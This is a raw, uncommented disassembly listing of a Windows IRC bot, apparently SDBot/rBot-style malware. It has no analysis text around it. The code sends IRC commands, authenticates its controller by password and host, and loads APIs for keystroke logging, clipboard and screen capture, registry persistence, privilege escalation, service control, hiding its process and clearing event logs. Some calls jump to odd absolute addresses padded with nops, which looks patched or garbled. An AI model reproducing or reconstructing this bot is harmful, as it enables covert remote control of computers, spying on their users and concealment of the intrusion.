		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670535h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEF4[eax]
		call	near ptr 2690000h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEF4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCE0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296EC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_4296C4

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_4296A0
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429674

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DE0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429658
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429634
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429610
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295EC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2670535h
		nop

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42957C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA60 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE5C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429578 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294F8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294A4
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429484
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429464
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE54, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2670535h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB050, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAFA8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB060, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CB050, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_409C10
		cmp	dword_4CAFC4, ebx
		jz	short loc_409C10
		cmp	dword_4CAFA8, ebx
		jz	short loc_409C10
		cmp	dword_4CAEB8, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF0C, ebx
		jz	short loc_409C10
		cmp	dword_4CB004, ebx
		jz	short loc_409C10
		cmp	dword_4CB060, ebx
		jz	short loc_409C10
		cmp	dword_4CAEC4, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB064, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFDC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2670D55h
		nop
		mov	dword_4CB068, eax
		mov	dword_4CB064, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26A0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB054, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		cmp	dword_4CB000, ebx
		mov	dword_4CAEE4, eax
		jz	short loc_409D00
		cmp	dword_4CAFB0, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CB054, ebx
		jz	short loc_409D00
		cmp	dword_4CAF74, ebx
		jz	short loc_409D00
		cmp	dword_4CAF94, ebx
		jz	short loc_409D00
		cmp	dword_4CAFF8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB06C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		cmp	dword_4CAF70, ebx
		mov	dword_4CAF28, eax
		jz	short loc_409D67
		cmp	dword_4CAE78, ebx
		jz	short loc_409D67
		cmp	dword_4CAF40, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2670D55h
		mov	dword_4CB070, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB06C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAF24, eax
		call	esi
		cmp	dword_4CB014, ebx
		mov	dword_4CAF34, eax
		jz	short loc_409E1A
		cmp	dword_4CAF58, ebx
		jz	short loc_409E1A
		cmp	dword_4CAFC8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAEA4, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF08, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF80, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB074, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		cmp	dword_4CAF88, ebx
		mov	dword_4CB010, eax
		jz	short loc_409E5F
		cmp	dword_4CAF60, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB074, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		cmp	dword_4CAF98, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE80, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE88, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEEC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEF0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE9C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF64, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB074, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE84, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2670D55h
		mov	dword_4CB078, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB074, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFE8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAFAC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFEC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		cmp	dword_4CAF90, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A016
		cmp	dword_4CAFE8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFF0, ebx
		jz	short loc_40A016
		cmp	dword_4CAFAC, ebx
		jz	short loc_40A016
		cmp	dword_4CAEC8, ebx
		jz	short loc_40A016
		cmp	dword_4CAE74, ebx
		jz	short loc_40A016
		cmp	dword_4CAFEC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE60, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2670D55h
		mov	dword_4CB080, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB07C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB048, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAEB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB040, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF4C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAFA4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		mov	dword_4CAF7C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB038, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB028, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEF8, eax
		call	esi
		cmp	dword_4CAF14, ebx
		mov	dword_4CB03C, eax
		jz	loc_40A2E7
		cmp	dword_4CB048, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF50, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF38, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEFC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB024, ebx
		jz	loc_40A2E7
		cmp	dword_4CB040, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB030, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFE4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	loc_40A2E7
		cmp	dword_4CAED4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFBC, ebx
